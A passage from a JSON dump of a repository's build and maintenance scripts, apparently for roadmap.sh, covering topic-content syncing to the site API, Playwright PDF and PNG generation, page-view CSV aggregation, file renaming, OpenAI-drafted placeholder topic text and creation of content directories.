    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport type { OfficialRoadmapDocument } from '../src/queries/official-roadmap';\nimport { parse } from 'node-html-parser';\nimport { markdownToHtml } from '../src/lib/markdown';\nimport { htmlToMarkdown } from '../src/lib/html';\nimport matter from 'gray-matter';\nimport type { RoadmapFrontmatter } from '../src/lib/roadmap';\nimport {\n  allowedOfficialRoadmapTopicResourceType,\n  type AllowedOfficialRoadmapTopicResourceType,\n  type SyncToDatabaseTopicContent,\n} from '../src/queries/official-roadmap-topic';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconst args = process.argv.slice(2);\nconst secret = args\n  .find((arg) => arg.startsWith('--secret='))\n  ?.replace('--secret=', '');\nif (!secret) {\n  throw new Error('Secret is required');\n}\n\nlet roadmapJsonCache: Map<string, OfficialRoadmapDocument> = new Map();\nexport async function fetchRoadmapJson(\n  roadmapId: string,\n): Promise<OfficialRoadmapDocument> {\n  if (roadmapJsonCache.has(roadmapId)) {\n    return roadmapJsonCache.get(roadmapId)!;\n  }\n\n  const response = await fetch(\n    `https://roadmap.sh/api/v1-official-roadmap/${roadmapId}`,\n  );\n\n  if (!response.ok) {\n    throw new Error(\n      `Failed to fetch roadmap json: ${response.statusText} for ${roadmapId}`,\n    );\n  }\n\n  const data = await response.json();\n  if (data.error) {\n    throw new Error(\n      `Failed to fetch roadmap json: ${data.error} for ${roadmapId}`,\n    );\n  }\n\n  roadmapJsonCache.set(roadmapId, data);\n  return data;\n}\n\nexport async function syncContentToDatabase(\n  topics: SyncToDatabaseTopicContent[],\n) {\n  const response = await fetch(\n    `https://roadmap.sh/api/v1-sync-official-roadmap-topics`,\n    {\n      method: 'POST',\n      headers: {\n        'Content-Type': 'application/json',\n      },\n      body: JSON.stringify({\n        topics,\n        secret,\n      }),\n    },\n  );\n\n  if (!response.ok) {\n    const error = await response.json();\n    throw new Error(\n      `Failed to sync content to database: ${response.statusText} ${JSON.stringify(error, null, 2)}`,\n    );\n  }\n\n  return response.json();\n}\n\n// Directory containing the roadmaps\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\nconst allRoadmaps = await fs.readdir(ROADMAP_CONTENT_DIR);\n\nconst editorRoadmapIds = new Set<string>();\nfor (const roadmapId of allRoadmaps) {\n  const roadmapFrontmatterDir = path.join(\n    ROADMAP_CONTENT_DIR,\n    roadmapId,\n    `${roadmapId}.md`,\n  );\n  const roadmapFrontmatterRaw = await fs.readFile(\n    roadmapFrontmatterDir,\n    'utf-8',\n  );\n  const { data } = matter(roadmapFrontmatterRaw);\n\n  const roadmapFrontmatter = data as RoadmapFrontmatter;\n  if (roadmapFrontmatter.renderer === 'editor') {\n    editorRoadmapIds.add(roadmapId);\n  }\n}\n\nfor (const roadmapId of editorRoadmapIds) {\n  try {\n    const roadmap = await fetchRoadmapJson(roadmapId);\n\n    const files = await fs.readdir(\n      path.join(ROADMAP_CONTENT_DIR, roadmapId, 'content'),\n    );\n\n    console.log(`🚀 Starting ${files.length} files for ${roadmapId}`);\n    const topics: SyncToDatabaseTopicContent[] = [];\n\n    for (const file of files) {\n      const isContentFile = file.endsWith('.md');\n      if (!isContentFile) {\n        console.log(`🚨 Skipping ${file} because it is not a content file`);\n        continue;\n      }\n\n      const nodeSlug = file.replace('.md', '');\n      if (!nodeSlug) {\n        console.error(`🚨 Node id is required: ${file}`);\n        continue;\n      }\n\n      const nodeId = nodeSlug.split('@')?.[1];\n      if (!nodeId) {\n        console.error(`🚨 Node id is required: ${file}`);\n        continue;\n      }\n\n      const node = roadmap.nodes.find((node) => node.id === nodeId);\n      if (!node) {\n        console.error(`🚨 Node not found: ${file}`);\n        continue;\n      }\n\n      const filePath = path.join(\n        ROADMAP_CONTENT_DIR,\n        roadmapId,\n        'content',\n        `${nodeSlug}.md`,\n      );\n\n      const fileExists = await fs\n        .stat(filePath)\n        .then(() => true)\n        .catch(() => false);\n      if (!fileExists) {\n        console.log(`🚨 File not found: ${filePath}`);\n        continue;\n      }\n\n      const content = await fs.readFile(filePath, 'utf8');\n      const html = markdownToHtml(content, false);\n      const rootHtml = parse(html);\n\n      let ulWithLinks: HTMLElement | undefined;\n      rootHtml.querySelectorAll('ul').forEach((ul) => {\n        const listWithJustLinks = Array.from(ul.querySelectorAll('li')).filter(\n          (li) => {\n            const link = li.querySelector('a');\n            return link && link.textContent?.trim() === li.textContent?.trim();\n          },\n        );\n\n        if (listWithJustLinks.length > 0) {\n          // @ts-expect-error - TODO: fix this\n          ulWithLinks = ul;\n        }\n      });\n\n      const listLinks: SyncToDatabaseTopicContent['resources'] =\n        ulWithLinks !== undefined\n          ? Array.from(ulWithLinks.querySelectorAll('li > a'))\n              .map((link) => {\n                const typePattern = /@([a-z.]+)@/;\n                let linkText = link.textContent || '';\n                const linkHref = link.getAttribute('href') || '';\n                let linkType = linkText.match(typePattern)?.[1] || 'article';\n                linkType = allowedOfficialRoadmapTopicResourceType.includes(\n                  linkType as any,\n                )\n                  ? linkType\n                  : 'article';\n\n                linkText = linkText.replace(typePattern, '');\n\n                if (!linkText || !linkHref) {\n                  return null;\n                }\n\n                return {\n                  title: linkText,\n                  url: linkHref,\n                  type: linkType as AllowedOfficialRoadmapTopicResourceType,\n                };\n              })\n              .filter((link) => link !== null)\n              .sort((a, b) => {\n                const order = [\n                  'official',\n                  'opensource',\n                  'article',\n                  'video',\n                  'feed',\n                ];\n                return order.indexOf(a!.type) - order.indexOf(b!.type);\n              })\n          : [];\n\n      const title = rootHtml.querySelector('h1');\n      ulWithLinks?.remove();\n      title?.remove();\n\n      const allParagraphs = rootHtml.querySelectorAll('p');\n      if (listLinks.length > 0 && allParagraphs.length > 0) {\n        // to remove the view more see more from the description\n        const lastParagraph = allParagraphs[allParagraphs.length - 1];\n        lastParagraph?.remove();\n      }\n\n      const htmlStringWithoutLinks = rootHtml.toString();\n      const description = htmlToMarkdown(htmlStringWithoutLinks);\n\n      const updatedDescription =\n        `# ${title?.textContent}\\n\\n${description}`.trim();\n\n      const label = node?.data?.label as string;\n      if (!label) {\n        console.error(`🚨 Label is required: ${file}`);\n        continue;\n      }\n\n      topics.push({\n        roadmapSlug: roadmapId,\n        nodeId,\n        description: updatedDescription,\n        resources: listLinks,\n      });\n    }\n\n    await syncContentToDatabase(topics);\n    console.log(\n      `✅ Synced ${topics.length} topics to database for ${roadmapId}`,\n    );\n  } catch (error) {\n    console.error(error);\n    process.exit(1);\n  }\n}\n"
  },
  {
    "path": "scripts/migrate-editor-roadmap.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\nimport type { Node } from '@roadmapsh/editor';\nimport matter from 'gray-matter';\nimport type { RoadmapFrontmatter } from '../src/lib/roadmap';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\n// Directory containing the roadmaps\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\nconst allRoadmaps = await fs.readdir(ROADMAP_CONTENT_DIR);\n\nconst editorRoadmapIds = new Set<string>();\nfor (const roadmapId of allRoadmaps) {\n  const roadmapFrontmatterDir = path.join(\n    ROADMAP_CONTENT_DIR,\n    roadmapId,\n    `${roadmapId}.md`,\n  );\n  const roadmapFrontmatterRaw = await fs.readFile(\n    roadmapFrontmatterDir,\n    'utf-8',\n  );\n  const { data } = matter(roadmapFrontmatterRaw);\n\n  const roadmapFrontmatter = data as RoadmapFrontmatter;\n  if (roadmapFrontmatter.renderer === 'editor') {\n    editorRoadmapIds.add(roadmapId);\n  }\n}\n\nfor (const roadmapId of editorRoadmapIds) {\n  const roadmapJSONDir = path.join(\n    ROADMAP_CONTENT_DIR,\n    roadmapId,\n    `${roadmapId}.json`,\n  );\n\n  const roadmapJSONRaw = await fs.readFile(roadmapJSONDir, 'utf-8');\n  const roadmapJSON = JSON.parse(roadmapJSONRaw);\n\n  const roadmapNodes = roadmapJSON.nodes as Node[];\n  const updatedNodes = roadmapNodes.map((node) => {\n    const width = +(node?.width || node?.style?.width || 0);\n    const height = +(node?.height || node?.style?.height || 0);\n\n    const ADDITIONAL_WIDTH = 1;\n    // adding one `1px` in width to avoid the node to be cut in half\n    // this is a quick fix to avoid the issue\n    if (node?.style?.width) {\n      node.style.width = width + ADDITIONAL_WIDTH;\n    }\n\n    if (node?.width) {\n      node.width = width + ADDITIONAL_WIDTH;\n    }\n\n    return {\n      ...node,\n      measured: {\n        width: width + ADDITIONAL_WIDTH,\n        height,\n      },\n    };\n  });\n\n  const updatedRoadmapJSON = {\n    ...roadmapJSON,\n    nodes: updatedNodes,\n  };\n\n  const updatedRoadmapJSONString = JSON.stringify(updatedRoadmapJSON, null, 2);\n  await fs.writeFile(roadmapJSONDir, updatedRoadmapJSONString, 'utf-8');\n}\n"
  },
  {
    "path": "scripts/official-roadmap-assets.ts",
    "content": "import playwright from 'playwright';\nimport type { OfficialRoadmapDocument } from '../src/queries/official-roadmap';\n\nasync function listAllRoadmaps(): Promise<OfficialRoadmapDocument[]> {\n  const response = await fetch(\n    'https://roadmap.sh/api/v1-list-official-roadmaps',\n  );\n  const mainRoadmaps = await response.json();\n  const beginnerResponse = await fetch(\n    'https://roadmap.sh/api/v1-list-official-beginner-roadmaps',\n  );\n  const beginnerRoadmaps = await beginnerResponse.json();\n  const data = [...mainRoadmaps, ...beginnerRoadmaps];\n  return data;\n}\n\n// Usage: tsx ./scripts/official-roadmap-assets.ts <roadmapSlug>\n\nconst roadmapSlug = process.argv?.[2];\n\nconst allRoadmaps = await listAllRoadmaps();\nconst allowedRoadmapSlugs = allRoadmaps.map((roadmap) => roadmap.slug);\n\nconst roadmapSlugs = roadmapSlug ? [roadmapSlug] : allowedRoadmapSlugs;\n\nconsole.log(`Launching chromium`);\nconst browser = await playwright.chromium.launch();\n\nfor (const roadmapSlug of roadmapSlugs) {\n  const roadmap = allRoadmaps.find((roadmap) => roadmap.slug === roadmapSlug);\n  if (!roadmap) {\n    console.error(`Roadmap ${roadmapSlug} not found`);\n    continue;\n  }\n\n  const context = await browser.newContext();\n  const page = await context.newPage();\n\n  const pageUrl = `http://roadmap.sh/${roadmapSlug}/svg`;\n  console.log(`Opening page ${pageUrl}`);\n  await page.goto(pageUrl);\n  await page.waitForSelector('#resource-svg-wrap');\n  await page.waitForTimeout(5000);\n\n  console.log(`Generating PDF ${pageUrl}`);\n  await page.pdf({\n    path: `./public/pdfs/roadmaps/${roadmapSlug}.pdf`,\n    margin: { top: 0, right: 0, bottom: 0, left: 0 },\n    height: roadmap?.dimensions?.height || 2000,\n    width: roadmap?.dimensions?.width || 968,\n  });\n\n  console.log(`Generating png ${pageUrl}`);\n  await page.locator('#resource-svg-wrap>svg').screenshot({\n    path: `./public/roadmaps/${roadmapSlug}.png`,\n    type: 'png',\n    scale: 'device',\n  });\n}\n\nconsole.log(`Closing browser`);\nawait browser.close();\n"
  },
  {
    "path": "scripts/page-data-agg.cjs",
    "content": "const csv = require('csv-parser');\nconst fs = require('fs');\nconst path = require('path');\n\nconst csvFilePath = path.join(__dirname, '../data.csv');\n\nconst results = {};\nconst pageSummary = {};\n\nfs.createReadStream(csvFilePath)\n  .pipe(\n    csv({\n      separator: ',',\n      mapHeaders: ({ header, index }) =>\n        header.toLowerCase().replace(/ /g, '_'),\n      mapValues: ({ header, index, value }) => {\n        if (header === 'page') {\n          return (\n            value\n              .replace(/\"/g, '')\n              .replace(/'/g, '')\n              .replace(/`/g, '')\n              .replace(/\\?r=/g, '#r#')\n              .replace(/\\?.+?$/g, '')\n              .replace(/#r#/g, '?r=')\n              .replace(/\\/$/g, '') || '/'\n          );\n        }\n\n        if (header !== 'month_of_year') {\n          return parseInt(value, 10);\n        }\n\n        return value;\n      },\n    })\n  )\n  .on('data', (data) => {\n    const { page, month_of_year, unique_pageviews, users } = data;\n    const pageData = results[page] || {};\n    const existingPageMonthData = pageData[month_of_year] || {};\n\n    const existingViews = existingPageMonthData.views || 0;\n    const existingUsers = existingPageMonthData.users || 0;\n\n    const newViews = existingViews + unique_pageviews;\n    const newUsers = existingUsers + users;\n\n    pageData[month_of_year] = {\n      views: newViews,\n      users: newUsers,\n    };\n\n    results[page] = pageData;\n\n    pageSummary[page] = pageSummary[page] || { views: 0, users: 0 };\n    pageSummary[page].views += unique_pageviews;\n    pageSummary[page].users += users;\n  })\n  .on('end', () => {\n    const csvHeader = [\n      'Page',\n      'Jan 2022',\n      'Feb 2022',\n      'Mar 2022',\n      'Apr 2022',\n      'May 2022',\n      'Jun 2022',\n      'Jul 2022',\n      'Aug 2022',\n      'Sep 2022',\n      'Oct 2022',\n      'Nov 2022',\n      'Dec 2022',\n      'Jan 2023',\n      'Feb 2023',\n      'Mar 2023',\n      'Apr 2023',\n      'May 2023',\n      'Jun 2023',\n      'Jul 2023',\n      'Aug 2023',\n      'Sep 2023',\n      'Oct 2023',\n      'Nov 2023',\n      'Dec 2023',\n    ];\n\n    const csvRows = Object.keys(pageSummary)\n      .filter(pageUrl => pageSummary[pageUrl].views > 10)\n      .filter(pageUrl => !['/upcoming', '/pdfs', '/signup', '/login', '/@'].includes(pageUrl))\n      .sort((pageA, pageB) => {\n        const aViews = pageSummary[pageA].views;\n        const bViews = pageSummary[pageB].views;\n\n        return bViews - aViews;\n      })\n      .map((pageUrl) => {\n        const rawPageResult = results[pageUrl];\n        const pageResultCsvRow = [];\n\n        csvHeader.forEach((csvHeaderItem) => {\n          if (csvHeaderItem === 'Page') {\n            pageResultCsvRow.push(pageUrl);\n            return;\n          }\n\n          const csvHeaderItemAlt = csvHeaderItem\n            .replace(/ /g, '_')\n            .toLowerCase();\n\n          const result = rawPageResult[csvHeaderItem || csvHeaderItemAlt] || {};\n          const views = result.views || 0;\n          const users = result.users || 0;\n\n          pageResultCsvRow.push(users);\n        });\n\n        return pageResultCsvRow;\n      });\n\n    const finalCsvRows = [csvHeader, ...csvRows];\n    const csvRowStrings = finalCsvRows.map((row) => {\n      return row.join(',');\n    });\n\n    const csvString = csvRowStrings.join('\\n');\n    fs.writeFileSync(path.join(__dirname, '../data-agg.csv'), csvString);\n  });\n"
  },
  {
    "path": "scripts/readme.md",
    "content": "## CLI Tools\n\n> A bunch of CLI scripts to make the development easier\n\n## `roadmap-links.cjs`\n\nGenerates a list of all the resources links in any roadmap file.\n\n## `compress-jsons.cjs`\n\nCompresses all the JSON files in the `public/jsons` folder\n\n## `update-sponsors.cjs`\n\nUpdates the sponsor ads on each roadmap page with the latest sponsor information in the Excel sheet.\n\n## `roadmap-content.cjs`\n\nCurrently, for any new roadmaps that we add, we do create the interactive roadmap but we end up leaving the content empty in the roadmap till we get time to fill it up manually.\n\nThis script populates all the content files with some minimal content from OpenAI so that the users visiting the website have something to read in the interactive roadmap till we get time to fill it up manually.\n\n## `roadmap-dirs.cjs`\n\nThis command is used to create the content folders and files for the interactivity of the roadmap. You can use the below command to generate the roadmap skeletons inside a roadmap directory:\n\n```bash\nnpm run roadmap-dirs [frontend|backend|devops|...]\n```\n\nFor the content skeleton to be generated, we should have proper grouping, and the group names in the project files. You can follow the steps listed below in order to add the meta information to the roadmap.\n\n- Remove all the groups from the roadmaps through the project editor. Select all and press `cmd+shift+g`\n- Identify the boxes that should be clickable and group them together with `cmd+shift+g`\n- Assign the name to the groups.\n  - Group names have the format of `[sort]-[slug]` e.g. `100-internet`. Each group name should start with a number starting from 100 which helps with sorting of the directories and the files. Groups at the same level have the sequential sorting information.\n  - Each groups children have a separate group and have the name similar to `[sort]-[parent-slug]:[child-slug]` where sort refers to the sorting of the `child-slug` and not the parent. Also parent-slug does not need to have the sorting information as a part of slug e.g. if parent was `100-internet` the children would be `100-internet:how-does-the-internet-work`, `101-internet:what-is-http`, `102-internet:browsers`.\n"
  },
  {
    "path": "scripts/refresh-assets.ts",
    "content": "#!/usr/bin/env tsx\n\nimport { execSync } from 'child_process';\nimport * as fs from 'fs';\nimport * as path from 'path';\n\nconst roadmapsDir = path.join(process.cwd(), 'src/data/roadmaps');\n\nconst roadmapIds = fs.readdirSync(roadmapsDir)\n  .filter(item => {\n    const fullPath = path.join(roadmapsDir, item);\n    return fs.statSync(fullPath).isDirectory();\n  });\n\nconsole.log(`Found ${roadmapIds.length} roadmaps to process...`);\n\nconst promises = roadmapIds.map(roadmapId => {\n  return new Promise((resolve, reject) => {\n    console.log(`Processing: ${roadmapId}`);\n    \n    try {\n      execSync(`npm run roadmap-assets ${roadmapId}`, {\n        stdio: 'inherit',\n        cwd: process.cwd()\n      });\n      console.log(`✓ Completed: ${roadmapId}`);\n      resolve(roadmapId);\n    } catch (error) {\n      console.error(`✗ Failed: ${roadmapId}`, error);\n      reject(error);\n    }\n  });\n});\n\nPromise.allSettled(promises).then(results => {\n  const successful = results.filter(r => r.status === 'fulfilled').length;\n  const failed = results.filter(r => r.status === 'rejected').length;\n  \n  console.log(`\\n=== Summary ===`);\n  console.log(`✓ Successful: ${successful}/${roadmapIds.length}`);\n  if (failed > 0) {\n    console.log(`✗ Failed: ${failed}/${roadmapIds.length}`);\n  }\n});"
  },
  {
    "path": "scripts/rename-content.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\n\nconst roadmapDirs = fs.readdirSync(\n  path.join(__dirname, '..', 'src', 'data', 'roadmaps'),\n);\n\nroadmapDirs.forEach((roadmapDir) => {\n  const roadmapDirPath = path.join(\n    __dirname,\n    '..',\n    'src',\n    'data',\n    'roadmaps',\n    roadmapDir,\n    'content',\n  );\n\n  const roadmapDirContent = fs.readdirSync(roadmapDirPath);\n\n  roadmapDirContent.forEach((content) => {\n    const contentPath = path.join(roadmapDirPath, content);\n    const contentStats = fs.statSync(contentPath);\n\n    const oldName = path.basename(contentPath);\n    const newName = oldName.replace(/^(\\d+)-/, '');\n\n    fs.renameSync(contentPath, path.join(roadmapDirPath, newName));\n\n    if (contentStats.isDirectory()) {\n      const contentDirContent = fs.readdirSync(contentPath);\n      \n      contentDirContent.forEach((contentDir) => {\n        const contentDirPath = path.join(contentPath, contentDir);\n        const contentDirStats = fs.statSync(contentDirPath);\n\n        const oldName = path.basename(contentDirPath);\n        const newName = oldName.replace(/^(\\d+)-/, '');\n\n        fs.renameSync(contentDirPath, path.join(contentPath, newName));\n\n        if (contentDirStats.isDirectory()) {\n          const contentDirContent = fs.readdirSync(contentDirPath);\n\n          contentDirContent.forEach((contentDir) => {\n            const contentDirPath2 = path.join(contentDirPath, contentDir);\n            const contentDirStats2 = fs.statSync(contentDirPath2);\n\n            const oldName2 = path.basename(contentDirPath2);\n            const newName2 = oldName2.replace(/^(\\d+)-/, '');\n\n            fs.renameSync(contentDirPath2, path.join(contentDirPath, newName2));\n          });\n        }\n      });\n    }\n  });\n});\n"
  },
  {
    "path": "scripts/roadmap-content.cjs",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nconst OPEN_AI_API_KEY = process.env.OPEN_AI_API_KEY;\nconst ALL_ROADMAPS_DIR = path.join(__dirname, '../src/data/roadmaps');\n\nconst roadmapId = process.argv[2];\n\nconst allowedRoadmapIds = fs.readdirSync(ALL_ROADMAPS_DIR);\nif (!roadmapId) {\n  console.error('roadmapId is required');\n  process.exit(1);\n}\n\nif (!allowedRoadmapIds.includes(roadmapId)) {\n  console.error(`Invalid roadmap key ${roadmapId}`);\n  console.error(`Allowed keys are ${allowedRoadmapIds.join(', ')}`);\n  process.exit(1);\n}\n\nconst ROADMAP_CONTENT_DIR = path.join(ALL_ROADMAPS_DIR, roadmapId, 'content');\nconst OpenAI = require('openai');\n\nconst openai = new OpenAI({\n  apiKey: OPEN_AI_API_KEY,\n});\n\nfunction getFilesInFolder(folderPath, fileList = {}) {\n  const files = fs.readdirSync(folderPath);\n\n  files.forEach((file) => {\n    const filePath = path.join(folderPath, file);\n    const stats = fs.statSync(filePath);\n\n    if (stats.isDirectory()) {\n      getFilesInFolder(filePath, fileList);\n    } else if (stats.isFile()) {\n      const fileUrl = filePath\n        .replace(ROADMAP_CONTENT_DIR, '') // Remove the content folder\n        .replace(/\\/\\d+-/g, '/') // Remove ordering info `/101-ecosystem`\n        .replace(/\\/index\\.md$/, '') // Make the `/index.md` to become the parent folder only\n        .replace(/\\.md$/, ''); // Remove `.md` from the end of file\n\n      fileList[fileUrl] = filePath;\n    }\n  });\n\n  return fileList;\n}\n\n/**\n * Write the topic content for the given topic\n * @param currTopicUrl\n * @returns {Promise<string>}\n */\nfunction writeTopicContent(currTopicUrl) {\n  const [parentTopic, childTopic] = currTopicUrl\n    .replace(/^\\d+-/g, '/')\n    .replace(/:/g, '/')\n    .replace(/^\\//, '')\n    .split('/')\n    .slice(-2)\n    .map((topic) => topic.replace(/-/g, ' '));\n\n  const roadmapTitle = roadmapId.replace(/-/g, ' ');\n\n  let prompt = `I will give you a topic and you need to write a brief introduction for that with regards to \"${roadmapTitle}\". Your format should be as follows and be in strictly markdown format:\n\n# (Put a heading for the topic without adding parent \"Subtopic in Topic\" or \"Topic in Roadmap\" etc.)\n\n(Write me a brief introduction for the topic with regards to \"${roadmapTitle}\")\n\n(add any code snippets ONLY if necessary and makes sense)\n\n`;\n\n  if (!childTopic) {\n    prompt += `First topic is: ${parentTopic}`;\n  } else {\n    prompt += `First topic is: ${childTopic} under ${parentTopic}`;\n  }\n\n  console.log(`Generating '${childTopic || parentTopic}'...`);\n\n  return new Promise((resolve, reject) => {\n    openai.chat.completions\n      .create({\n        model: 'gpt-4',\n        messages: [\n          {\n            role: 'user',\n            content: prompt,\n          },\n        ],\n      })\n      .then((response) => {\n        const article = response.choices[0].message.content;\n\n        resolve(article);\n      })\n      .catch((err) => {\n        reject(err);\n      });\n  });\n}\n\nasync function writeFileForGroup(group, topicUrlToPathMapping) {\n  const topicId = group?.properties?.controlName;\n  const topicTitle = group?.children?.controls?.control?.find(\n    (control) => control?.typeID === 'Label',\n  )?.properties?.text;\n  const currTopicUrl = topicId?.replace(/^\\d+-/g, '/')?.replace(/:/g, '/');\n  if (!currTopicUrl) {\n    return;\n  }\n\n  const contentFilePath = topicUrlToPathMapping[currTopicUrl];\n\n  if (!contentFilePath) {\n    console.log(`Missing file for: ${currTopicUrl}`);\n    return;\n  }\n\n  const currentFileContent = fs.readFileSync(contentFilePath, 'utf8');\n  const isFileEmpty = currentFileContent.replace(/^#.+/, ``).trim() === '';\n\n  if (!isFileEmpty) {\n    console.log(`Ignoring ${topicId}. Not empty.`);\n    return;\n  }\n\n  let newFileContent = `# ${topicTitle}`;\n\n  if (!OPEN_AI_API_KEY) {\n    console.log(`Writing ${topicId}..`);\n\n    fs.writeFileSync(contentFilePath, newFileContent, 'utf8');\n    return;\n  }\n\n  const topicContent = await writeTopicContent(currTopicUrl);\n\n  console.log(`Writing ${topicId}..`);\n  fs.writeFileSync(contentFilePath, topicContent, 'utf8');\n\n  // console.log(currentFileContent);\n  // console.log(currTopicUrl);\n  // console.log(topicTitle);\n  // console.log(topicUrlToPathMapping[currTopicUrl]);\n}\n\nasync function run() {\n  const topicUrlToPathMapping = getFilesInFolder(ROADMAP_CONTENT_DIR);\n\n  const roadmapJson = require(\n    path.join(ALL_ROADMAPS_DIR, `${roadmapId}/${roadmapId}`),\n  );\n\n  const groups = roadmapJson?.mockup?.controls?.control?.filter(\n    (control) =>\n      control.typeID === '__group__' &&\n      !control.properties?.controlName?.startsWith('ext_link'),\n  );\n\n  if (!OPEN_AI_API_KEY) {\n    console.log('----------------------------------------');\n    console.log('OPEN_AI_API_KEY not found. Skipping openai api calls...');\n    console.log('----------------------------------------');\n  }\n\n  const writePromises = [];\n  for (let group of groups) {\n    writePromises.push(writeFileForGroup(group, topicUrlToPathMapping));\n  }\n\n  console.log('Waiting for all files to be written...');\n  await Promise.all(writePromises);\n}\n\nrun()\n  .then(() => {\n    console.log('Done');\n  })\n  .catch((err) => {\n    console.error(err);\n    process.exit(1);\n  });\n"
  },
  {
    "path": "scripts/roadmap-dirs.cjs",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nconst CONTENT_DIR = path.join(__dirname, '../content');\n// Directory containing the roadmaps\nconst ROADMAP_CONTENT_DIR = path.join(__dirname, '../src/data/roadmaps');\nconst roadmapId = process.argv[2];\n\nconst allowedRoadmapIds = fs.readdirSync(ROADMAP_CONTENT_DIR);\nif (!roadmapId) {\n  console.error('roadmapId is required');\n  process.exit(1);\n}\n\nif (!allowedRoadmapIds.includes(roadmapId)) {\n  console.error(`Invalid roadmap key ${roadmapId}`);\n  console.error(`Allowed keys are ${allowedRoadmapIds.join(', ')}`);\n  process.exit(1);\n}\n\n// Directory holding the roadmap content files\nconst roadmapDirName = fs\n  .readdirSync(ROADMAP_CONTENT_DIR)\n  .find((dirName) => dirName.replace(/\\d+-/, '') === roadmapId);\n\nif (!roadmapDirName) {\n  console.error('Roadmap directory not found');\n  process.exit(1);\n}\n\nconst roadmapDirPath = path.join(ROADMAP_CONTENT_DIR, roadmapDirName);\nconst roadmapContentDirPath = path.join(\n  ROADMAP_CONTENT_DIR,\n  roadmapDirName,\n  'content'\n);\n\n// If roadmap content already exists do not proceed as it would override the files\nif (fs.existsSync(roadmapContentDirPath)) {\n  console.error(`Roadmap content already exists @ ${roadmapContentDirPath}`);\n  process.exit(1);\n}\n\nfunction prepareDirTree(control, dirTree, dirSortOrders) {\n  // Directories are only created for groups\n  if (control.typeID !== '__group__') {\n    return;\n  }\n\n  // e.g. 104-testing-your-apps:other-options\n  const controlName = control?.properties?.controlName || '';\n  // e.g. 104\n  const sortOrder = controlName.match(/^\\d+/)?.[0];\n\n  // No directory for a group without control name\n  if (!controlName || (!sortOrder && !controlName.startsWith('check:'))) {\n    return;\n  }\n\n  // e.g. testing-your-apps:other-options\n  const controlNameWithoutSortOrder = controlName.replace(/^\\d+-/, '').replace(/^check:/, '');\n  // e.g. ['testing-your-apps', 'other-options']\n  const dirParts = controlNameWithoutSortOrder.split(':');\n\n  // Nest the dir path in the dirTree\n  let currDirTree = dirTree;\n  dirParts.forEach((dirPart) => {\n    currDirTree[dirPart] = currDirTree[dirPart] || {};\n    currDirTree = currDirTree[dirPart];\n  });\n\n  dirSortOrders[controlNameWithoutSortOrder] = Number(sortOrder);\n\n  const childrenControls = control.children.controls.control;\n  // No more children\n  if (childrenControls.length) {\n    childrenControls.forEach((childControl) => {\n      prepareDirTree(childControl, dirTree, dirSortOrders);\n    });\n  }\n\n  return { dirTree, dirSortOrders };\n}\n\nconst roadmap = require(path.join(\n  __dirname,\n  `../src/data/roadmaps/${roadmapId}/${roadmapId}`\n));\n\nconst controls = roadmap.mockup.controls.control;\n\n// Prepare the dir tree that we will be creating and also calculate the sort orders\nconst dirTree = {};\nconst dirSortOrders = {};\n\ncontrols.forEach((control) => {\n  prepareDirTree(control, dirTree, dirSortOrders);\n});\n\n/**\n * @param parentDir Parent directory in which directory is to be created\n * @param dirTree Nested dir tree to be created\n * @param sortOrders Mapping from groupName to sort order\n * @param filePaths The mapping from groupName to file path\n */\nfunction createDirTree(parentDir, dirTree, sortOrders, filePaths = {}) {\n  const childrenDirNames = Object.keys(dirTree);\n  const hasChildren = childrenDirNames.length !== 0;\n\n  // @todo write test for this, yolo for now\n  const groupName = parentDir\n    .replace(roadmapContentDirPath, '') // Remove base dir path\n    .replace(/(^\\/)|(\\/$)/g, '') // Remove trailing slashes\n    .replace(/(^\\d+?-)/g, '') // Remove sorting information\n    .replaceAll('/', ':') // Replace slashes with `:`\n    .replace(/:\\d+-/, ':');\n\n  const humanizedGroupName = groupName\n    .split(':')\n    .pop()\n    ?.replaceAll('-', ' ')\n    .replace(/^\\w/, ($0) => $0.toUpperCase());\n\n  const sortOrder = sortOrders[groupName] || '';\n\n  // Attach sorting information to dirname\n  // e.g. /roadmaps/100-frontend/content/internet\n  // ———> /roadmaps/100-frontend/content/103-internet\n  if (sortOrder) {\n    parentDir = parentDir.replace(/(.+?)([^\\/]+)?$/, `$1${sortOrder}-$2`);\n  }\n\n  // If no children, create a file for this under the parent directory\n  if (!hasChildren) {\n    let fileName = `${parentDir}.md`;\n    fs.writeFileSync(fileName, `# ${humanizedGroupName}`);\n\n    filePaths[groupName || 'home'] = fileName.replace(CONTENT_DIR, '');\n    return filePaths;\n  }\n\n  // There *are* children, so create the parent as a directory\n  // and create `index.md` as the content file for this\n  fs.mkdirSync(parentDir);\n\n  let readmeFilePath = path.join(parentDir, 'index.md');\n  fs.writeFileSync(readmeFilePath, `# ${humanizedGroupName}`);\n\n  filePaths[groupName || 'home'] = readmeFilePath.replace(CONTENT_DIR, '');\n\n  // For each of the directory names, create a\n  // directory inside the given directory\n  childrenDirNames.forEach((dirName) => {\n    createDirTree(\n      path.join(parentDir, dirName),\n      dirTree[dirName],\n      dirSortOrders,\n      filePaths\n    );\n  });\n\n  return filePaths;\n}\n\n// Create directories and get back the paths for created directories\ncreateDirTree(roadmapContentDirPath, dirTree, dirSortOrders);\nconsole.log('Created roadmap content directory structure');\n"
  },
  {
    "path": "scripts/roadmap-links.cjs",
